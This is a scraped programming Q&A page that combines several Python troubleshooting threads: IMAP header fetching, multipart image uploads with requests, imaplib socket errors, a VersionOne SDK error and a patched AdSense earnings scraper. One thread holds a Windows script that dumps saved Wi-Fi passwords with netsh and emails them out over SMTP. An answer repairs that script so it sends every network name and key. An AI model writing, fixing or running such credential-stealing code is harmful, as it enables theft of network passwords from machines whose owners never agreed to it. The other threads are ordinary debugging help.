I'm following a tutorial to be able to read email metadata. I'm getting this following error: imaplib.error: UID command error: BAD [b'Could not parse command']
the full trace is:
Traceback (most recent call last):
File "email_metadata.py", line 28, in <module>
result, data = conn.uid('fetch', ','.join(str(u) for u in uids), '(BODY[HEADER.FIELDS (MESSAGE-ID FROM TO CC DATE)])')
File "/usr/lib/python3.4/imaplib.py", line 817, in uid
typ, dat = self._simple_command(name, command, *args)
File "/usr/lib/python3.4/imaplib.py", line 1134, in _simple_command
return self._command_complete(name, self._command(name, *args))
File "/usr/lib/python3.4/imaplib.py", line 965, in _command_complete
raise self.error('%s command error: %s %s' % (name, typ, data))
imaplib.error: UID command error: BAD [b'Could not parse command']
This is my code:
The full code is in my gist
import imaplib, email, getpass
from email.utils import getaddresses
imaplib._MAXLINE = 40000
#connection
conn = imaplib.IMAP4_SSL('imap.gmail.com')
(retcode, capabilities) = conn.login('my_true_email_addr#gmail.com', getpass.getpass())
print(conn.list())
#print con.list()
conn.select("INBOX", readonly=True)
result, data = conn.uid('search', None, '(SINCE "01-Jan-2014" BEFORE "01-Jan-2015")')
uids = data[0].split()
print(uids)#in bytes
# Download headers
result, data = conn.uid('fetch', ','.join(str(u) for u in uids), '(BODY[HEADER.FIELDS (MESSAGE-ID FROM TO CC DATE)])')
# Where data will be stored
raw_file = open('raw-email-rec.tsv', 'w')
# Header for TSV file
raw_file.write("Message-ID\tDate\tFrom\tTo\tCc\n")
Previously this line .join(str(u) for u in uids) was written like this .join(uids) like in the tutorial but I had an error saying TypeError: sequence item 0: expected str instance, bytes found So I converted it in string.
gist
I think you converted the wrong thing. It looks like the library is working with bytes rather than str. Try:
b','.join(uids)
I converted a list of bytes into a string
result, data = conn.uid('search', None, '(SINCE "01-Jan-2014" BEFORE "05-Jan-2015")')
print(data)
#[b'2627 2628 2630 2639 2643 2649 2650 2651 2652']
uids = data[0].split()
#[b'2627', b'2628', b'2630', b'2639', b'2643', b'2649', b'2650', b'2651', b'2652']
uids = [i.decode('utf-8') for i in uids]
#['2627', '2628', '2630', '2639', '2643', '2649', '2650', '2651', '2652']
# Download headers
result, data = conn.uid('fetch', ','.join(uids), '(BODY[HEADER.FIELDS (MESSAGE-ID FROM TO CC DATE)])')
print(','.join(uids))
#'2627,2628,2630,2639,2643,2649,2650,2651,2652'
Related
when i try to run this python :
import subprocess, smtplib
def send_mail(email,password,message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email,password)
server.sendmail(email, email, message)
server.quit()
a = subprocess.check_output(['netsh','wlan','show','profiles']).decode('utf-8').split('\n')
a = [i.split(":")[1][1:-1] for i in a if "All User Profile" in i]
for i in a:
results = subprocess.check_output(['netsh','wlan','show','profile',i,'key=clear']).decode('utf-8').split('\n')
results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b]
try:
print ("{:<30}| {:<}".format(i, results[0]))
except IndexError:
print ("{:<30}| {:<}".format(i,""))
send_mail("example#gmail.com","Example123",results)
i get this error
Traceback (most recent call last):
File "wifi.py", line 18, in <module>
send_mail("Example#gmail.com","Example123",results)
File "wifi.py", line 6, in send_mail
server.sendmail(email, email, message)
File "C:\Users\TARUN\AppData\Local\Programs\Python\Python38-32\lib\smtplib.py", line 886, in sendmail
(code, resp) = self.data(msg)
File "C:\Users\TARUN\AppData\Local\Programs\Python\Python38-32\lib\smtplib.py", line 568, in data
q = _quote_periods(msg)
File "C:\Users\TARUN\AppData\Local\Programs\Python\Python38-32\lib\smtplib.py", line 176, in _quote_periods
return re.sub(br'(?m)^\.', b'..', bindata)
File "C:\Users\TARUN\AppData\Local\Programs\Python\Python38-32\lib\re.py", line 210, in sub
return _compile(pattern, flags).sub(repl, string, count)
TypeError: expected string or bytes-like object
i understand that i need to put 'str' somewhere but i don't know which part(i'm kinda new to python)
you have results as list just convert it into string This will send both username and pwd
import subprocess, smtplib
def send_mail(email,password,message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email,password)
server.sendmail(email, email, message)
server.quit()
a = subprocess.check_output(['netsh','wlan','show','profiles']).decode('utf-8').split('\n')
a = [i.split(":")[1][1:-1] for i in a if "All User Profile" in i]
to_send = []
for i in a:
results = subprocess.check_output(['netsh','wlan','show','profile',i,'key=clear']).decode('utf-8').split('\n')
results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b]
# in order to send everything store it in another list and then join them with new line.
to_send.append(i+":"+"".join(results))
try:
print ("{:<30}| {:<}".format(i, results[0]))
except IndexError:
print ("{:<30}| {:<}".format(i,""))
# convert list to string
send_mail("example#gmail.com","Example123","\n".join(to_send))
What is the problem Here ?
I got an error shows
ValueError: too many values to unpack
This code process is to get all available images in a folder then put that images location into an array. Then create an other array called files and add image location with specific format and send the POST request to the API
import requests
import logging
import os
import json
try:
import http.client as http_client
except ImportError:
# Python 2
import httplib as http_client
http_client.HTTPConnection.debuglevel = 1
logging.basicConfig()
logging.getLogger().setLevel(logging.DEBUG)
requests_log = logging.getLogger("requests.packages.urllib3")
requests_log.setLevel(logging.DEBUG)
requests_log.propagate = True
url_and = "https://api.test.com/api/3.0/listings/"
android_token = '68as76df87s86df7asd76f87as6df78sfd'
headers = {
'Authorization': "Token " + android_token,
'platform': 'android'
}
data_android = {
'mailing_details':'3',
'abcoupay':'false',
'price':'55.00',
'description':'Test description',
'title':'TEST drill machine and others.',
'meetup':'false',
'condition':'2',
'mailing':'true',
'collection_id':'24'
}
urls = []
for file in os.listdir(os.getcwd()+"/product_images"):
if file.endswith((".jpg",".jpeg",".png",".JPG",".JPEG",".PNG")):
x = os.getcwd()+"\\"+file
urls.append(x)
files = []
x = 0
for file in urls:
files.append("'photo_"+str(x)+"': ('image_"+str(x)+".jpg', open('"+file+"', 'rb'), 'image/jpeg')")
x+=1
# files = {
# 'photo_0': ('image_0.jpg', open('E:/products files/Drill machine/1.jpg', 'rb'), 'image/jpeg'),
# 'photo_1': ('image_1.jpg', open('E:/products files/Drill machine/2.jpg','rb'), 'image/jpeg')
# }
response = requests.request("POST", url_and,data=data_android,files=files,headers=headers)
print(response.text.encode("utf-8"))
Error
Traceback (most recent call last):
File "cookies.py", line 102, in <module>
response = requests.request("POST", url_and,data=data_android,files=files,headers=headers)
File "C:\python27\lib\site-packages\requests\api.py", line 60, in request
return session.request(method=method, url=url, **kwargs)
File "C:\python27\lib\site-packages\requests\sessions.py", line 519, in request
prep = self.prepare_request(req)
File "C:\python27\lib\site-packages\requests\sessions.py", line 462, in prepare_request
hooks=merge_hooks(request.hooks, self.hooks),
File "C:\python27\lib\site-packages\requests\models.py", line 316, in prepare
self.prepare_body(data, files, json)
File "C:\python27\lib\site-packages\requests\models.py", line 504, in prepare_body
(body, content_type) = self._encode_files(files, data)
File "C:\python27\lib\site-packages\requests\models.py", line 141, in _encode_files
for (k, v) in files:
ValueError: too many values to unpack
The files parameter for requests.request should be a dict where the keys are file names and the values are file content or file objects. You should therefore build your files variable as a dict instead:
files = {'image_%s.jpg' % x: open(file, 'rb') for x, file in enumerate(urls)}
If you need the content type as well, you can make the dict values 3-tuples that contain the file name, the file object and the content type:
files = {'image_%s.jpg' % x: ('image_%s.jpg' % x, open(file, 'rb'), 'image/jpeg') for x, file in enumerate(urls)}
Your files should be passed as a dict or a list of tuples and you are not doing that. You could do below,
files.append(("photo_"+str(x), ("image_"+str(x)+".jpg", open(file, "rb"), "image/jpeg")))
I want to retrive content from sent messages folder by the code below:
conn = imaplib.IMAP4_SSL('imap.exmail.qq.com',993)
conn.login(user,pwd)
conn.select("Sent Messages")
mails = conn.search(None, 'ALL')
for num in mails[1][0].split():
t, d = conn.fetch(num, 'RFC822')
if t == 'OK':
print 'Message %s\n' % (num)
msg = email.message_from_string(d[0][1])
subject = email.Header.decode_header(msg['subject'])[0][0]
if re.search(month, subject):
print subject
else:
print 'fetch error'
The num is between 1~36, when the num is 8. There comes an error:
Traceback (most recent call last):
File "monthlySummary.py", line 30, in
t, d = conn.fetch(num, 'RFC822')
File "/usr/lib/python2.7/imaplib.py", line 455, in fetch
typ, dat = self._simple_command(name, message_set, message_parts)
File "/usr/lib/python2.7/imaplib.py", line 1087, in _simple_command
return self._command_complete(name, self._command(name, *args))
File "/usr/lib/python2.7/imaplib.py", line 911, in _command_complete
raise self.abort('command: %s => %s' % (name, val))
imaplib.abort: command: FETCH => socket error: unterminated line
I try to relogin, but still come the same error. what does this socket error mean? how can i solve this problem?
Thanks.
From the imaplib source code (here), the relevant function is:
def _get_line(self):
line = self.readline()
if not line:
raise self.abort('socket error: EOF')
# Protocol mandates all lines terminated by CRLF
if not line.endswith(b'\r\n'):
raise self.abort('socket error: unterminated line')
line = line[:-2]
if __debug__:
if self.debug >= 4:
self._mesg('< %r' % line)
else:
self._log('< %r' % line)
return line
The comment in the function says that all lines must be terminated by CRLF, so it is obviously hitting a line that is not and so it aborts.
You need to make sure each line ends with '\r\n', so to do that you could simply add this string to each line if it is not already there, before processing it. This will make sure that this error upon which the program is aborted is not raised.
When I call Create API from the python console, It gives following exception.
Traceback (most recent call last):
File "<stdin>", line 3, in <module>
File "C:\Python27\lib\v1pysdk\base_asset.py", line 44, in create
return Class._v1_v1meta.create_asset(Class._v1_asset_type_name, newdata)
File "C:\Python27\lib\v1pysdk\v1meta.py", line 128, in create_asset
new_asset_xml = self.server.create_asset(asset_type_name, update_doc)
File "C:\Python27\lib\v1pysdk\client.py", line 202, in create_asset
return self.get_xml(path, query=query, postdata=body)
File "C:\Python27\lib\v1pysdk\client.py", line 159, in get_xml
document = ElementTree.fromstring(body)
File "C:\Python27\lib\xml\etree\ElementTree.py", line 1281, in XML
parser.feed(text)
File "C:\Python27\lib\xml\etree\ElementTree.py", line 1623, in feed
self._raiseerror(v)
File "C:\Python27\lib\xml\etree\ElementTree.py", line 1487, in _raiseerror
raise err
xml.etree.ElementTree.ParseError: reference to invalid character number: line 7575, column 75
I am running it with Python2.7 on windows.
This is the API I am calling
from v1pysdk import V1Meta
v1 = V1Meta(
address = 'www11.v1host.com',
instance = '<InstName>',
username = 'sbaid',
password = 'XXXXXX'
)
new_story = v1.Story.create(
Name = "Temp",
Scope = v1.Scope(321450)
)
v1.Scope(321450) returns the correct project name, that implies that session with version1 is established correctly.
These are the only two mandatory parameters and I am able to create the story with these two parameters using Web interface.
I am also able to create the story using following REST request
URL - https://www11.v1host.com/InstName/rest-1.v1/Data/Story
<Asset href="/<InstName>/rest-1.v1/New/Story">
<Attribute name="Name" act="set">Temp</Attribute>
<Relation name="Scope" act="set">
<Asset href="/<InstName>/rest-1.v1/Data/Scope/321450" idref="Scope:321450" />
</Relation>
</Asset>
There is an alternate way to specify the host address which is more reliable. Here's an example that you can try against the public VersionOne SDK testing instance:
from v1pysdk import V1Meta
with V1Meta (
instance_url = 'https://www14.v1host.com/v1sdktesting',
username = 'admin',
password = 'admin'
) as v1:
new_story = v1.Story.create(
Name = "Temp Test for StackOverflow question",
Scope = v1.Scope(0)
)
fetched_story = v1.Story.where(Number=new_story.Number).first()
print fetched_story.Name
I need a python script that gets the google adsense earnings and I found adsense scraper:
http://pypi.python.org/pypi/adsense_scraper/0.5
It uses Twill and html5lib to scrape google adsense earnings data. When I use it I get this error message:
Traceback (most recent call last):
File "adsense_scraper.py", line 163, in <module>
data = main()
File "adsense_scraper.py", line 154, in main
b = get_adsense(login, password)
File "adsense_scraper.py", line 128, in get_adsense
b.submit()
File "c:\python26\lib\site-packages\twill-0.9-py2.6.egg\twill\browser.py", line 467, in submit
self._journey('open', request)
File "c:\python26\lib\site-packages\twill-0.9-py2.6.egg\twill\browser.py", line 523, in _journey
r = func(*args, **kwargs)
File "c:\python26\lib\site-packages\twill-0.9-py2.6.egg\twill\other_packages\_mechanize_dist\_mechanize.py", line 212, in open
return self._mech_open(url, data)
File "c:\python26\lib\site-packages\twill-0.9-py2.6.egg\twill\other_packages\_mechanize_dist\_mechanize.py", line 238, in _mech_open
response = UserAgentBase.open(self, request, data)
File "c:\python26\lib\site-packages\twill-0.9-py2.6.egg\twill\other_packages\_mechanize_dist\_opener.py", line 192, in open
response = meth(req, response)
File "c:\python26\lib\site-packages\twill-0.9-py2.6.egg\twill\other_packages\_mechanize_dist\_http.py", line 590, in http_response
"http", request, response, code, msg, hdrs)
File "c:\python26\lib\site-packages\twill-0.9-py2.6.egg\twill\other_packages\_mechanize_dist\_opener.py", line 209, in error
result = apply(self._call_chain, args)
File "C:\Python26\lib\urllib2.py", line 361, in _call_chain
result = func(*args)
File "c:\python26\lib\site-packages\twill-0.9-py2.6.egg\twill\other_packages\_mechanize_dist\_http.py", line 135, in http_error_302
return self.parent.open(new)
File "c:\python26\lib\site-packages\twill-0.9-py2.6.egg\twill\other_packages\_mechanize_dist\_mechanize.py", line 212, in open
return self._mech_open(url, data)
File "c:\python26\lib\site-packages\twill-0.9-py2.6.egg\twill\other_packages\_mechanize_dist\_mechanize.py", line 238, in _mech_open
response = UserAgentBase.open(self, request, data)
File "c:\python26\lib\site-packages\twill-0.9-py2.6.egg\twill\other_packages\_mechanize_dist\_opener.py", line 192, in open
response = meth(req, response)
File "c:\python26\lib\site-packages\twill-0.9-py2.6.egg\twill\utils.py", line 442, in http_response
"refresh", msg, hdrs)
File "c:\python26\lib\site-packages\twill-0.9-py2.6.egg\twill\other_packages\_mechanize_dist\_opener.py", line 209, in error
result = apply(self._call_chain, args)
File "C:\Python26\lib\urllib2.py", line 361, in _call_chain
result = func(*args)
File "c:\python26\lib\site-packages\twill-0.9-py2.6.egg\twill\other_packages\_mechanize_dist\_http.py", line 135, in http_error_302
return self.parent.open(new)
File "c:\python26\lib\site-packages\twill-0.9-py2.6.egg\twill\other_packages\_mechanize_dist\_mechanize.py", line 212, in open
return self._mech_open(url, data)
File "c:\python26\lib\site-packages\twill-0.9-py2.6.egg\twill\other_packages\_mechanize_dist\_mechanize.py", line 238, in _mech_open
response = UserAgentBase.open(self, request, data)
File "c:\python26\lib\site-packages\twill-0.9-py2.6.egg\twill\other_packages\_mechanize_dist\_opener.py", line 181, in open
response = urlopen(self, req, data)
File "C:\Python26\lib\urllib2.py", line 406, in _open 'unknown_open', req)
File "C:\Python26\lib\urllib2.py", line 361, in _call_chain result = func(*args)
File "C:\Python26\lib\urllib2.py", line 1163, in unknown_open raise URLError('unknown url type: %s' % type)
urllib2.URLError: <urlopen error unknown url type: 'http>
So the important thing is:
urllib2.URLError: <urlopen error unknown url type: 'http>
Can somebody tell me where the error is? Is there even a better way to get the data via python? Thanks
there are several errors with the package, you mentioned only the first one
1) twill package does not handle google's redirects correctly, adding
newurl = newurl.strip( "'" )
to twill/other_packages/_mechanize_dist/_http.py:108 before
newurl = _rfc3986.clean_url(newurl, "latin-1")
fixes that
2) you have to have the correct language set in adsense - English
3) there are several problems in the orignal adsense_scraper
#!/usr/bin/env python
"""Scrapes Google AdSense data with Python using Twill
Current canonical location of this module is here:
http://github.com/etrepum/adsense_scraper/tree/master
Usage::
from adsense_scraper import get_adsense, get_time_period
b = get_adsense('YOUR_ADSENSE_LOGIN', 'YOUR_ADSENSE_PASSWORD')
rows = get_time_period(b, 'yesterday')
# The summary data is always the first row with channel == ''
print 'I earned this much yesterday: $%(earnings)s' % rows[0]
"""
# requires html5lib, twill
import sys
import pprint
import decimal
from cStringIO import StringIO
from xml.etree import cElementTree
try:
from html5lib import HTMLParser
import twill.commands
except ImportError:
print >>sys.stderr, """\
adsense_scraper has dependencies::
Twill 0.9 http://twill.idyll.org/
html5lib 0.11 http://code.google.com/p/html5lib/
Try this::
$ easy_install twill html5lib
"""
raise SystemExit()
__version__ = '0.5'
SERVICE_LOGIN_BOX_URL = "https://www.google.com/accounts/ServiceLogin?service=adsense&rm=hide&fpui=3&nui=15&alwf=true<mpl=adsense&passive=true&continue=https%3A%2F%2Fwww.google.com%2Fadsense%2Fgaiaauth2&followup=https%3A%2F%2Fwww.google.com%2Fadsense%2Fgaiaauth2&hl=en_US"
OVERVIEW_URL = "https://www.google.com/adsense/report/overview?timePeriod="
TIME_PERIODS = [
'today',
'yesterday',
'thismonth',
'lastmonth',
'sincelastpayment',
]
def parse_decimal(s):
"""Return an int or decimal.Decimal given a human-readable number
"""
light_stripped = s.strip(u'\u20ac')
stripped = light_stripped.replace(',', '.').rstrip('%').lstrip('$')
try:
int(stripped)
return light_stripped
except ValueError:
pass
try:
float(stripped)
return light_stripped
except ValueError:
return decimal.Decimal(stripped)
def parse_summary_table(doc):
"""
Parse the etree doc for summarytable, returns::
[{'channel': unicode,
'impressions': int,
'clicks': int,
'ctr': decimal.Decimal,
'ecpm': decimal.Decimal,
'earnings': decimal.Decimal}]
"""
for t in doc.findall('.//table'):
if t.attrib.get('id') == 'summarytable':
break
else:
raise ValueError("summary table not found")
res = []
FIELDS = ['impressions', 'clicks', 'ctr', 'ecpm', 'earnings']
for row in t.findall('.//tr'):
celltext = []
for c in row.findall('td'):
tail = ''
# adsense inserts an empty span if a row has a period in it, so
# get the children and find the tail element to append to the text
if c.find('a') and c.find('a').getchildren():
tail = c.find('a').getchildren()[0].tail or ''
celltext.append('%s%s' % ((c.text or c.findtext('a') or '').strip(), tail.strip()))
celltext = filter( lambda x: x != "" , celltext )
if len(celltext) != len(FIELDS):
continue
try:
value_cols = map(parse_decimal, celltext)
except decimal.InvalidOperation:
continue
res.append(dict(zip(FIELDS, value_cols)))
return res
def get_adsense(login, password):
"""Returns a twill browser instance after having logged in to AdSense
with *login* and *password*.
The returned browser will have all of the appropriate cookies set but may
not be at the exact page that you want data from.
"""
b = twill.commands.get_browser()
b.go(SERVICE_LOGIN_BOX_URL)
for form in b.get_all_forms():
try:
form['Email'] = login
form['Passwd'] = password
except ValueError:
continue
else:
break
else:
raise ValueError("Could not find login form on page")
b._browser.select_form(predicate=lambda f: f is form)
b.submit()
return b
def get_time_period(b, period):
"""Returns the parsed summarytable for the time period *period* given
*b* which should be the result of a get_adsense call. *period* must be
a time period that AdSense supports:
``'today'``, ``'yesterday'``, ``'thismonth'``,
``'lastmonth'``, ``'sincelastpayment'``.
"""
b.go(OVERVIEW_URL + period)
# The cElementTree treebuilder doesn't work reliably enough
# to use directly, so we parse and then dump into cElementTree.
doc = cElementTree.fromstring(HTMLParser().parse(b.get_html()).toxml())
return parse_summary_table(doc)
def main():
try:
login, password = sys.argv[1:]
except ValueError:
raise SystemExit("usage: %s LOGIN PASSWORD" % (sys.argv[0],))
twill.set_output(StringIO())
twill.commands.reset_browser()
b = get_adsense(login, password)
data = {}
for period in TIME_PERIODS:
data[period] = get_time_period(b, period)
pprint.pprint(data)
twill.set_output(None)
return data
if __name__ == '__main__':
data = main()